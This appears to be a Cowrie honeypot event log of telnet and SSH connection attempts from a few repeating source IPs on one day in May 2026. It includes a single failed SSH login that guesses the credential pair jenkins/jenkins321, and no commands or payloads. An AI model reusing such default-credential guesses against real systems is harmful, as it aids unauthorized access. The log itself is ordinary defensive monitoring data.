{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":58640,"dst_ip":"159.203.135.109","dst_port":23,"session":"fcc6549bd282","protocol":"telnet","message":"New connection: 147.135.136.77:58640 (159.203.135.109:23) [session: fcc6549bd282]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:01.158333Z"}
{"eventid":"cowrie.session.connect","src_ip":"116.118.250.81","src_port":34284,"dst_ip":"159.203.135.109","dst_port":23,"session":"dad4907dac2f","protocol":"telnet","message":"New connection: 116.118.250.81:34284 (159.203.135.109:23) [session: dad4907dac2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:01.281056Z"}
{"eventid":"cowrie.session.closed","duration":31.243447065353394,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:01.392437Z","src_ip":"85.208.100.77","session":"59612a5c857f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.102.133.101","src_port":52748,"dst_ip":"159.203.135.109","dst_port":23,"session":"f9ad8d695c28","protocol":"telnet","message":"New connection: 149.102.133.101:52748 (159.203.135.109:23) [session: f9ad8d695c28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:01.652534Z"}
{"eventid":"cowrie.session.closed","duration":30.32178783416748,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:02.044950Z","src_ip":"82.163.78.83","session":"159a2935bfa5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.811785459518433,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:02.060221Z","src_ip":"37.187.24.227","session":"604fda02f722","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.731799602508545,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:02.067515Z","src_ip":"149.102.133.101","session":"bf4ba537952b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.119601488113403,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:02.099593Z","src_ip":"82.163.78.83","session":"9060bac5a647","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.72864603996277,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:02.114188Z","src_ip":"81.30.157.18","session":"c6d99c23c805","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.48535180091858,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:02.128229Z","src_ip":"81.30.157.18","session":"b0d659e3b7b2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"82.163.78.83","src_port":39898,"dst_ip":"159.203.135.109","dst_port":23,"session":"b0572cf05b53","protocol":"telnet","message":"New connection: 82.163.78.83:39898 (159.203.135.109:23) [session: b0572cf05b53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:02.208467Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.101.32.143","src_port":51358,"dst_ip":"159.203.135.109","dst_port":23,"session":"1589886ec6c8","protocol":"telnet","message":"New connection: 46.101.32.143:51358 (159.203.135.109:23) [session: 1589886ec6c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:02.264819Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":60124,"dst_ip":"159.203.135.109","dst_port":23,"session":"88b86c0c4bc1","protocol":"telnet","message":"New connection: 81.30.157.18:60124 (159.203.135.109:23) [session: 88b86c0c4bc1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:02.329148Z"}
{"eventid":"cowrie.session.closed","duration":31.151623010635376,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:02.337200Z","src_ip":"82.163.78.83","session":"ef8e6111f837","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.470040798187256,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:02.367242Z","src_ip":"81.30.157.18","session":"2575110f3757","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.208.100.77","src_port":43596,"dst_ip":"159.203.135.109","dst_port":23,"session":"bb3274adb8fb","protocol":"telnet","message":"New connection: 85.208.100.77:43596 (159.203.135.109:23) [session: bb3274adb8fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:02.797862Z"}
{"eventid":"cowrie.session.closed","duration":30.80358386039734,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:03.104508Z","src_ip":"81.30.157.18","session":"0b615b7b628f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":55382,"dst_ip":"159.203.135.109","dst_port":23,"session":"a303ae2b08bd","protocol":"telnet","message":"New connection: 168.119.91.149:55382 (159.203.135.109:23) [session: a303ae2b08bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:03.124804Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":60138,"dst_ip":"159.203.135.109","dst_port":23,"session":"427797f71b04","protocol":"telnet","message":"New connection: 81.30.157.18:60138 (159.203.135.109:23) [session: 427797f71b04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:03.134094Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":55256,"dst_ip":"159.203.135.109","dst_port":23,"session":"0d91f4d0128c","protocol":"telnet","message":"New connection: 37.187.24.227:55256 (159.203.135.109:23) [session: 0d91f4d0128c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:03.309984Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.208.100.77","src_port":44792,"dst_ip":"159.203.135.109","dst_port":23,"session":"90f62b0c37e0","protocol":"telnet","message":"New connection: 85.208.100.77:44792 (159.203.135.109:23) [session: 90f62b0c37e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:03.417524Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.228.69.212","src_port":57048,"dst_ip":"10.17.0.5","dst_port":22,"session":"998571fb4748","protocol":"ssh","message":"New connection: 103.228.69.212:57048 (10.17.0.5:22) [session: 998571fb4748]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:03.688555Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:03.694557Z","src_ip":"103.228.69.212","session":"998571fb4748","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:03.927826Z","src_ip":"103.228.69.212","session":"998571fb4748","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.64691972732544,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:04.045080Z","src_ip":"46.101.32.143","session":"29384d685cba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.675484895706177,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:04.053388Z","src_ip":"82.163.78.83","session":"2ac8601e4fe3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.985912561416626,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:04.067135Z","src_ip":"149.102.133.101","session":"59a4635a8f14","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.326526165008545,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:04.088109Z","src_ip":"82.163.78.83","session":"765232faa896","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.798072338104248,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:04.115477Z","src_ip":"85.208.100.77","session":"84f57780b64f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.937127113342285,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:04.171947Z","src_ip":"46.101.32.143","session":"9549100d8676","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.102.133.101","src_port":47868,"dst_ip":"159.203.135.109","dst_port":23,"session":"9c36124f9dfe","protocol":"telnet","message":"New connection: 149.102.133.101:47868 (159.203.135.109:23) [session: 9c36124f9dfe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:04.231456Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.44.46","src_port":51042,"dst_ip":"159.203.135.109","dst_port":23,"session":"a574e415782a","protocol":"telnet","message":"New connection: 173.249.44.46:51042 (159.203.135.109:23) [session: a574e415782a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:04.386940Z"}
{"eventid":"cowrie.login.failed","username":"jenkins","password":"jenkins321","message":"login attempt [jenkins/jenkins321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:04.890800Z","src_ip":"103.228.69.212","session":"998571fb4748","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.598713397979736,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:05.038779Z","src_ip":"46.101.32.143","session":"9d7d4b434f7e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.226468563079834,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:05.051984Z","src_ip":"37.187.24.227","session":"10ba392ff95e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.632710218429565,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:05.066507Z","src_ip":"82.163.78.83","session":"3545548d66a7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":59304,"dst_ip":"159.203.135.109","dst_port":23,"session":"4b960a45baca","protocol":"telnet","message":"New connection: 37.187.24.227:59304 (159.203.135.109:23) [session: 4b960a45baca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:05.167091Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.44.46","src_port":51990,"dst_ip":"159.203.135.109","dst_port":23,"session":"1774ee5a0a15","protocol":"telnet","message":"New connection: 173.249.44.46:51990 (159.203.135.109:23) [session: 1774ee5a0a15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:05.332754Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":59464,"dst_ip":"159.203.135.109","dst_port":23,"session":"8ed3690735e5","protocol":"telnet","message":"New connection: 81.30.157.18:59464 (159.203.135.109:23) [session: 8ed3690735e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:05.384404Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":59466,"dst_ip":"159.203.135.109","dst_port":23,"session":"ce23a0c44ebb","protocol":"telnet","message":"New connection: 81.30.157.18:59466 (159.203.135.109:23) [session: ce23a0c44ebb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:05.502362Z"}
{"eventid":"cowrie.session.connect","src_ip":"82.163.78.83","src_port":43994,"dst_ip":"159.203.135.109","dst_port":23,"session":"4c57c3776ba9","protocol":"telnet","message":"New connection: 82.163.78.83:43994 (159.203.135.109:23) [session: 4c57c3776ba9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:05.522208Z"}
{"eventid":"cowrie.session.closed","duration":31.538064002990723,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:05.870528Z","src_ip":"82.163.78.83","session":"0af577cea6b0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.102.133.101","src_port":47880,"dst_ip":"159.203.135.109","dst_port":23,"session":"99c1d61e6552","protocol":"telnet","message":"New connection: 149.102.133.101:47880 (159.203.135.109:23) [session: 99c1d61e6552]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:05.980914Z"}
{"eventid":"cowrie.session.closed","duration":30.82819437980652,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:06.043273Z","src_ip":"82.163.78.83","session":"82f02497814c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.811023235321045,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:06.050637Z","src_ip":"82.163.78.83","session":"233ea46c3b29","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.54113221168518,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:06.083998Z","src_ip":"173.249.44.46","session":"d34b212deffe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:06.131223Z","src_ip":"103.228.69.212","session":"998571fb4748","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.484829902648926,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:06.148207Z","src_ip":"149.102.133.101","session":"24abed358883","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.940409421920776,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:06.166782Z","src_ip":"85.208.100.77","session":"3810af48f31c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":59474,"dst_ip":"159.203.135.109","dst_port":23,"session":"0df74b5be7c5","protocol":"telnet","message":"New connection: 81.30.157.18:59474 (159.203.135.109:23) [session: 0df74b5be7c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:06.240988Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.101.32.143","src_port":56594,"dst_ip":"159.203.135.109","dst_port":23,"session":"28bb94c94a57","protocol":"telnet","message":"New connection: 46.101.32.143:56594 (159.203.135.109:23) [session: 28bb94c94a57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:06.465622Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.139.22","src_port":59720,"dst_ip":"159.203.135.109","dst_port":23,"session":"b5bcceefa9ab","protocol":"telnet","message":"New connection: 206.189.139.22:59720 (159.203.135.109:23) [session: b5bcceefa9ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:06.594578Z"}
{"eventid":"cowrie.session.closed","duration":30.72792673110962,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:07.044243Z","src_ip":"149.102.133.101","session":"bb2e190eb415","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.67835021018982,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:07.054618Z","src_ip":"82.163.78.83","session":"00d79154e024","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.769052267074585,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:07.079898Z","src_ip":"82.163.78.83","session":"cff1c7f508ec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.19353461265564,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:07.085919Z","src_ip":"46.101.32.143","session":"d47f1d62bfaf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.77122187614441,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:07.091249Z","src_ip":"46.101.32.143","session":"312a70de1985","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.69890785217285,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:07.216002Z","src_ip":"81.30.157.18","session":"33301aadfccc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.44.46","src_port":54444,"dst_ip":"159.203.135.109","dst_port":23,"session":"70c408f2cf1d","protocol":"telnet","message":"New connection: 173.249.44.46:54444 (159.203.135.109:23) [session: 70c408f2cf1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:07.736654Z"}
{"eventid":"cowrie.session.closed","duration":31.244524002075195,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:07.744519Z","src_ip":"149.102.133.101","session":"a13284ecec05","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":59480,"dst_ip":"159.203.135.109","dst_port":23,"session":"f8a63d53c140","protocol":"telnet","message":"New connection: 81.30.157.18:59480 (159.203.135.109:23) [session: f8a63d53c140]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:07.971055Z"}
{"eventid":"cowrie.session.closed","duration":30.458415746688843,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:08.045717Z","src_ip":"82.163.78.83","session":"d427866fa41b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.114102363586426,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:08.050687Z","src_ip":"82.163.78.83","session":"497731daebc5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.823091983795166,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:08.060297Z","src_ip":"173.249.44.46","session":"0f5912585376","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.767372131347656,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:08.066882Z","src_ip":"37.187.24.227","session":"3d9ab1db0958","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"82.163.78.83","src_port":46570,"dst_ip":"159.203.135.109","dst_port":23,"session":"bb6e82c5a8ce","protocol":"telnet","message":"New connection: 82.163.78.83:46570 (159.203.135.109:23) [session: bb6e82c5a8ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:08.085584Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.44.46","src_port":55028,"dst_ip":"159.203.135.109","dst_port":23,"session":"c545cf968271","protocol":"telnet","message":"New connection: 173.249.44.46:55028 (159.203.135.109:23) [session: c545cf968271]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:08.134088Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":38520,"dst_ip":"159.203.135.109","dst_port":23,"session":"440863d068be","protocol":"telnet","message":"New connection: 37.187.24.227:38520 (159.203.135.109:23) [session: 440863d068be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:08.289598Z"}
{"eventid":"cowrie.session.closed","duration":30.800652027130127,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:09.091342Z","src_ip":"149.102.133.101","session":"f6fe069d2084","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.898207902908325,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:09.184643Z","src_ip":"85.208.100.77","session":"fe49c6d40c6f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.024455785751343,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:09.252682Z","src_ip":"82.163.78.83","session":"a64a998b66a7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.120030403137207,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:09.258690Z","src_ip":"206.189.139.22","session":"dbde1479f6dd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":59486,"dst_ip":"159.203.135.109","dst_port":23,"session":"9f21e9df881e","protocol":"telnet","message":"New connection: 81.30.157.18:59486 (159.203.135.109:23) [session: 9f21e9df881e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:09.330904Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":59496,"dst_ip":"159.203.135.109","dst_port":23,"session":"958865ae6966","protocol":"telnet","message":"New connection: 81.30.157.18:59496 (159.203.135.109:23) [session: 958865ae6966]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:10.161844Z"}
{"eventid":"cowrie.session.closed","duration":30.45139980316162,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:10.167728Z","src_ip":"206.189.139.22","session":"0cc3e841f363","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"82.163.78.83","src_port":49154,"dst_ip":"159.203.135.109","dst_port":23,"session":"ac1ffb9d420b","protocol":"telnet","message":"New connection: 82.163.78.83:49154 (159.203.135.109:23) [session: ac1ffb9d420b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:10.236025Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":59504,"dst_ip":"159.203.135.109","dst_port":23,"session":"eafb04ba380e","protocol":"telnet","message":"New connection: 81.30.157.18:59504 (159.203.135.109:23) [session: eafb04ba380e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:10.242255Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.208.100.77","src_port":58552,"dst_ip":"159.203.135.109","dst_port":23,"session":"3c9ac54b86f0","protocol":"telnet","message":"New connection: 85.208.100.77:58552 (159.203.135.109:23) [session: 3c9ac54b86f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:10.506196Z"}
